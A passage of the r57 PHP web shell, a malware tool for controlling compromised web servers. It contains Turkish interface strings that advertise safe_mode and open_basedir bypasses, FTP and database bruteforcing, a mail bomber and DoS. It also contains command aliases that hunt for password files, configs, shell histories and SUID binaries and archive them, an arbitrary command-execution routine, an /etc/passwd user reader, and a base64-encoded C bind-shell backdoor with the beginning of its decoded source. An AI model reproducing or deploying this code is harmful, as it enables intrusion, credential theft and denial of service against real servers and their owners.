982'tr_text57'=>'Olustur/Sil Dosya/Dizin ',
983'tr_text58'=>'isim',
984'tr_text59'=>'Dosya',
985'tr_text60'=>'Dizin',
986'tr_butt13'=>'Olustur/Sil',
987'tr_text61'=>'Dosya Olustur',
988'tr_text62'=>'Dizin Olustur',
989'tr_text63'=>'Dosya Sil',
990'tr_text64'=>'Dizin Sil',
991'tr_text65'=>'Olustur',
992'tr_text66'=>'Sil',
993'tr_text67'=>'Chown/Chgrp/Chmod',
994'tr_text68'=>'Uygula',
995'tr_text69'=>'param1',
996'tr_text70'=>'param2',
997'tr_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
998'tr_text72'=>'Metin Bul',
999'tr_text73'=>'Klasor Bul',
1000'tr_text74'=>'Dosya Bul',
1001'tr_text75'=>'* you can use regexp',
1002'tr_text76'=>'Metin Ara Dosyalarin icinde Arama Yoluyla',
1003'tr_text80'=>'Cesit',
1004'tr_text81'=>'Net',
1005'tr_text82'=>'Databases',
1006'tr_text83'=>'SQL Sorgusu Yap',
1007'tr_text84'=>'SQL Sorgusu',
1008'tr_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
1009'tr_text86'=>'Download files from server',
1010'tr_butt14'=>'Download',
1011'tr_text87'=>'Download files from remote ftp-server',
1012'tr_text88'=>'server:port',
1013'tr_text89'=>'File on ftp',
1014'tr_text90'=>'Transfer mode',
1015'tr_text91'=>'Archivation',
1016'tr_text92'=>'without arch.',
1017'tr_text93'=>'FTP',
1018'tr_text94'=>'FTP-bruteforce',
1019'tr_text95'=>'Users list',
1020'tr_text96'=>'Can\'t get users list',
1021'tr_text97'=>'checked: ',
1022'tr_text98'=>'success: ',
1023'tr_text99'=>'/etc/passwd',
1024'tr_text100'=>'Send file to remote ftp server',
1025'tr_text101'=>'Use reverse (user -> resu)',
1026'tr_text102'=>'Mail',
1027'tr_text103'=>'Send email',
1028'tr_text104'=>'Send file to email',
1029'tr_text105'=>'To',
1030'tr_text106'=>'From',
1031'tr_text107'=>'Subj',
1032'tr_butt15'=>'Send',
1033'tr_text108'=>'Mail',
1034'tr_text109'=>'Hide',
1035'tr_text110'=>'Show',
1036'tr_text111'=>'SQL-Server : Port',
1037'tr_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)',
1038'tr_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)',
1039'tr_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)',
1040'tr_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
1041'tr_text116'=>'Copy from',
1042'tr_text117'=>'to',
1043'tr_text118'=>'File copied',
1044'tr_text119'=>'Cant copy file',
1045'tr_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
1046'tr_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
1047'tr_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)',
1048'tr_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
1049'tr_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)',
1050'tr_text125'=>'Data',
1051'tr_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
1052'tr_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)',
1053'tr_text128'=>'Modify/Access date(touch)',
1054'tr_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)',
1055'tr_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
1056'tr_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
1057'tr_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
1058'tr_text133'=>'',
1059'tr_text134'=>'Database-bruteforce',
1060'tr_text135'=>'Dictionary',
1061'tr_text136'=>'Creating evil symlink',
1062'tr_text137'=>'Useful',
1063'tr_text138'=>'Dangerous',
1064'tr_text139'=>'Mail Bomber',
1065'tr_text140'=>'DoS',
1066'tr_text141'=>'Danger! Web-daemon crash possible.',
1067'tr_err0'=>'Error! Can\'t write in file ',
1068'tr_err1'=>'Error! Can\'t read file ',
1069'tr_err2'=>'Error! Can\'t create ',
1070'tr_err3'=>'Error! Can\'t connect to ftp',
1071'tr_err4'=>'Error! Can\'t login on ftp server',
1072'tr_err5'=>'Error! Can\'t change dir on ftp',
1073'tr_err6'=>'Error! Can\'t sent mail',
1074'tr_err7'=>'Mail send',
1075);
1076$aliases=array(
1077'----------------------------------locate'=>'',
1078'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1079'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1080'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1081'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1082'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1083'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1084'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1085'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1086'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
1087'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1088'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
1089'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1090'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1091'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
1092'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1093'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
1094'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1095'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
1096'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
1097'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt',
1098'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt',
1099'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt',
1100'----------------------------------tar'=>'',
1101'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt',
1102'----------------------------------1'=>'',
1103'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1104'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1105'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1106'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1107'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt',
1108'----------------------------------2'=>'',
1109'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt',
1110'----------------------------------find'=>'',
1111'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1112'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1113'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1114'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1115'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1116'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1117'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1118'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1119'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1120'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
1121'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd >> /tmp/grep.txt;cat /tmp/grep.txt',
1122'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history >> /tmp/grep.txt;cat /tmp/grep.txt',
1123'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history >> /tmp/grep.txt;cat /tmp/grep.txt',
1124'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc >> /tmp/grep.txt;cat /tmp/grep.txt',
1125'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1126'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1127'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
1128'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1129'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1130'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1131'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1132'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
1133'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1134'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
1135'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1136'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
1137'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
1138'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
1139'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
1140'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1141'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt',
1142'-----------------------------------'=>'',
1143'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1144'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
1145'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1146'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
1147'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt',
1148'----------------------------------------------------------------------------------------------------'=>'ls -la'
1149);
1150$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
1151$table_up2 = " ::</div></b></font></td></tr><tr><td>";
1152$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333>";
1153$table_end1 = "</td></tr>";
1154$arrow = " <font face=Webdings color=gray>4</font>";
1155$lb = "<font color=green>[</font>";
1156$rb = "<font color=green>]</font>";
1157$font = "<font face=Verdana size=-2>";
1158$ts = "<table class=table1 width=100% align=center>";
1159$te = "</table>";
1160$fs = "<form name=form method=POST>";
1161$fe = "</form>";
1162if(isset($_GET['users']))
1163{
1164if(!$users=get_users('/etc/passwd')) {echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>";}
1165else
1166{
1167echo '<center>';
1168foreach($users as $user) {echo $user."<br>";}
1169echo '</center>';
1170}
1171echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();
1172}
1173if (!empty($_POST['dir'])) {if(@function_exists('chdir')){@chdir($_POST['dir']);}else if(@function_exists('chroot')){@chroot($_POST['dir']);};}
1174if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
1175$unix = 0;
1176if(strlen($dir)>1 &&$dir[1]==":") $unix=0;else $unix=1;
1177if(empty($dir))
1178{
1179$os = getenv('OS');
1180if(empty($os)){$os = @php_uname();}
1181if(empty($os)){$os ="-";$unix=1;}
1182else
1183{
1184if(@eregi("^win",$os)) {$unix = 0;}
1185else {$unix = 1;}
1186}
1187}
1188if(!empty($_POST['s_dir']) &&!empty($_POST['s_text']) &&!empty($_POST['cmd']) &&$_POST['cmd'] == "search_text")
1189{
1190echo $head;
1191if(!empty($_POST['s_mask']) &&!empty($_POST['m'])) {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']);}
1192else {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text']);}
1193$sr->SearchText(0,0);
1194$res = $sr->GetResultFiles();
1195$found = $sr->GetMatchesCount();
1196$titles = $sr->GetTitles();
1197$r = "";
1198if($found >0)
1199{
1200$r .= "<TABLE width=100%>";
1201foreach($res as $file=>$v)
1202{
1203$r .= "<TR>";
1204$r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
1205$r .= (!$unix)?str_replace("/","\\",$file) : $file;
1206$r .= "</b></font></ TD>";
1207$r .= "</TR>";
1208foreach($v as $a=>$b)
1209{
1210$r .= "<TR>";
1211$r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
1212$r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
1213$r .= "</TR>\n";
1214}
1215}
1216$r .= "</TABLE>";
1217echo $r;
1218}
1219else
1220{
1221echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
1222}
1223echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1224die();
1225}
1226if(!$safe_mode &&strpos(ex("echo abcr57"),"r57")!=3) {$safe_mode = 1;}
1227$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
1228if(empty($SERVER_SOFTWARE)){$SERVER_SOFTWARE = "-";}
1229function ws($i)
1230{
1231return @str_repeat(" ",$i);
1232}
1233function ex($cfe)
1234{
1235$res = '';
1236if (!empty($cfe))
1237{
1238if(@function_exists('exec'))
1239{
1240@exec($cfe,$res);
1241$res = join("\n",$res);
1242}
1243elseif(@function_exists('shell_exec'))
1244{
1245$res = @shell_exec($cfe);
1246}
1247elseif(@function_exists('system'))
1248{
1249@ob_start();
1250@system($cfe);
1251$res = @ob_get_contents();
1252@ob_end_clean();
1253}
1254elseif(@function_exists('passthru'))
1255{
1256@ob_start();
1257@passthru($cfe);
1258$res = @ob_get_contents();
1259@ob_end_clean();
1260}
1261elseif(@is_resource($f = @popen($cfe,"r")))
1262{
1263$res = "";
1264if(@function_exists('fread') &&@function_exists('feof')){
1265while(!@feof($f)) {$res .= @fread($f,1024);}
1266}else if(@function_exists('fgets') &&@function_exists('feof')){
1267while(!@feof($f)) {$res .= @fgets($f,1024);}
1268}
1269@pclose($f);
1270}
1271elseif(@is_resource($f = @proc_open($cfe,array(1 =>array("pipe","w")),$pipes)))
1272{
1273$res = "";
1274if(@function_exists('fread') &&@function_exists('feof')){
1275while(!@feof($pipes[1])) {$res .= @fread($pipes[1],1024);}
1276}else if(@function_exists('fgets') &&@function_exists('feof')){
1277while(!@feof($pipes[1])) {$res .= @fgets($pipes[1],1024);}
1278}
1279@proc_close($f);
1280}
1281elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
1282{
1283$res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
1284$pid = @pcntl_fork();
1285if ($pid == -1) {
1286$res .= '[-] Could not children fork. Exit';
1287}else if ($pid) {
1288if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
1289else {$res .= '[-] Error. Command incorrect.';}
1290}else {
1291$cfe = array(" -e 'system(\"$cfe\")'");
1292if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
1293if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
1294die();
1295}
1296}
1297}
1298return $res;
1299}
1300function get_users($filename)
1301{
1302$users = array();
1303$rows=@explode("\n",readzlib($filename));
1304if(!$rows) return 0;
1305foreach ($rows as $string)
1306{
1307$user = @explode(":",trim($string));
1308if(substr($string,0,1)!='#') array_push($users,$user[0]);
1309}
1310return $users;
1311}
1312function err($n,$txt='')
1313{
1314echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>';
1315echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
1316if(!empty($txt)) {echo " $txt";}
1317echo '</b></div></font></td></tr></table>';
1318return null;
1319}
1320function perms($mode)
1321{
1322if (!$GLOBALS['unix']) return 0;
1323if( $mode &0x1000 ) {$type='p';}
1324else if( $mode &0x2000 ) {$type='c';}
1325else if( $mode &0x4000 ) {$type='d';}
1326else if( $mode &0x6000 ) {$type='b';}
1327else if( $mode &0x8000 ) {$type='-';}
1328else if( $mode &0xA000 ) {$type='l';}
1329else if( $mode &0xC000 ) {$type='s';}
1330else $type='u';
1331$owner["read"] = ($mode &00400) ?'r': '-';
1332$owner["write"] = ($mode &00200) ?'w': '-';
1333$owner["execute"] = ($mode &00100) ?'x': '-';
1334$group["read"] = ($mode &00040) ?'r': '-';
1335$group["write"] = ($mode &00020) ?'w': '-';
1336$group["execute"] = ($mode &00010) ?'x': '-';
1337$world["read"] = ($mode &00004) ?'r': '-';
1338$world["write"] = ($mode &00002) ?'w': '-';
1339$world["execute"] = ($mode &00001) ?'x': '-';
1340if( $mode &0x800 ) $owner["execute"] = ($owner['execute']=='x') ?'s': 'S';
1341if( $mode &0x400 ) $group["execute"] = ($group['execute']=='x') ?'s': 'S';
1342if( $mode &0x200 ) $world["execute"] = ($world['execute']=='x') ?'t': 'T';
1343$s=sprintf("%1s",$type);
1344$s.=sprintf("%1s%1s%1s",$owner['read'],$owner['write'],$owner['execute']);
1345$s.=sprintf("%1s%1s%1s",$group['read'],$group['write'],$group['execute']);
1346$s.=sprintf("%1s%1s%1s",$world['read'],$world['write'],$world['execute']);
1347return trim($s);
1348}
1349function in($type,$name,$size,$value,$checked=0)
1350{
1351$ret = "<input type=".$type." name=".$name." ";
1352if($size != 0) {$ret .= "size=".$size." ";}
1353$ret .= "value=\"".$value."\"";
1354if($checked) $ret .= " checked";
1355return $ret.">";
1356}
1357function which($pr)
1358{
1359$path = '';
1360$path = ex("which $pr");
1361if(!empty($path)) {return $path;}else {return false;}
1362}
1363function cf($fname,$text)
1364{
1365$w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0);
1366if($w_file)
1367{
1368@fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text));
1369@fclose($w_file);
1370}
1371}
1372function sr($l,$t1,$t2)
1373{
1374return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
1375}
1376if (!@function_exists("view_size"))
1377{
1378function view_size($size)
1379{
1380if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 ." GB";}
1381elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 ." MB";}
1382elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 ." KB";}
1383else {$size = $size ." B";}
1384return $size;
1385}
1386}
1387function DirFilesR($dir,$types='')
1388{
1389$files = Array();
1390if(($handle = @opendir($dir)) ||(@function_exists('scandir')))
1391{
1392while ((false !== ($file = @readdir($handle))) &&(false !== ($file = @scandir($dir))))
1393{
1394if ($file != "."&&$file != "..")
1395{
1396if(@is_dir($dir."/".$file))
1397$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
1398else
1399{
1400$pos = @strrpos($file,".");
1401$ext = @substr($file,$pos,@strlen($file)-$pos);
1402if($types)
1403{
1404if(@in_array($ext,explode(';',$types)))
1405$files[] = $dir."/".$file;
1406}
1407else
1408$files[] = $dir."/".$file;
1409}
1410}
1411}
1412@closedir($handle);
1413}
1414return $files;
1415}
1416class SearchResult
1417{
1418var $text;
1419var $FilesToSearch;
1420var $ResultFiles;
1421var $FilesTotal;
1422var $MatchesCount;
1423var $FileMatschesCount;
1424var $TimeStart;
1425var $TimeTotal;
1426var $titles;
1427function SearchResult($dir,$text,$filter='')
1428{
1429$dirs = @explode(";",$dir);
1430$this->FilesToSearch = Array();
1431for($a=0;$a<count($dirs);$a++)
1432$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
1433$this->text = $text;
1434$this->FilesTotal = @count($this->FilesToSearch);
1435$this->TimeStart = getmicrotime();
1436$this->MatchesCount = 0;
1437$this->ResultFiles = Array();
1438$this->FileMatchesCount = Array();
1439$this->titles = Array();
1440}
1441function GetFilesTotal() {return $this->FilesTotal;}
1442function GetTitles() {return $this->titles;}
1443function GetTimeTotal() {return $this->TimeTotal;}
1444function GetMatchesCount() {return $this->MatchesCount;}
1445function GetFileMatchesCount() {return $this->FileMatchesCount;}
1446function GetResultFiles() {return $this->ResultFiles;}
1447function SearchText($phrase=0,$case=0) {
1448$qq = @explode(' ',$this->text);
1449$delim = '|';
1450if($phrase)
1451foreach($qq as $k=>$v)
1452$qq[$k] = '\b'.$v.'\b';
1453$words = '('.@implode($delim,$qq).')';
1454$pattern = "/".$words."/";
1455if(!$case)
1456$pattern .= 'i';
1457foreach($this->FilesToSearch as $k=>$filename)
1458{
1459$this->FileMatchesCount[$filename] = 0;
1460$FileStrings = @file($filename) or @next;
1461for($a=0;$a<@count($FileStrings);$a++)
1462{
1463$count = 0;
1464$CurString = $FileStrings[$a];
1465$CurString = @Trim($CurString);
1466$CurString = @strip_tags($CurString);
1467$aa = '';
1468if(($count = @preg_match_all($pattern,$CurString,$aa)))
1469{
1470$CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
1471$this->ResultFiles[$filename][$a+1] = $CurString;
1472$this->MatchesCount += $count;
1473$this->FileMatchesCount[$filename] += $count;
1474}
1475}
1476}
1477$this->TimeTotal = @round(getmicrotime() -$this->TimeStart,4);
1478}
1479}
1480function getmicrotime()
1481{
1482list($usec,$sec) = @explode(" ",@microtime());
1483return ((float)$usec +(float)$sec);
1484}
1485$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
1486A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
1487GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
1488b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
1489pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
1490NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
1491ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
1492ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
14937DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
14949tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
14952ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
1496dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
1497lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
1498/* ?ST SATIRIN KIRILMI? HAL? */
1499/*
1500
1501#include <stdio.h>
1502#include <string.h>
1503#include <sys/types.h>
1504#include <sys/socket.h>
1505#include <netinet/in.h>
1506#include <errno.h>
1507int main(argc,argv)
1508int argc;
1509char **argv;
1510{
1511 int sockfd, newfd;
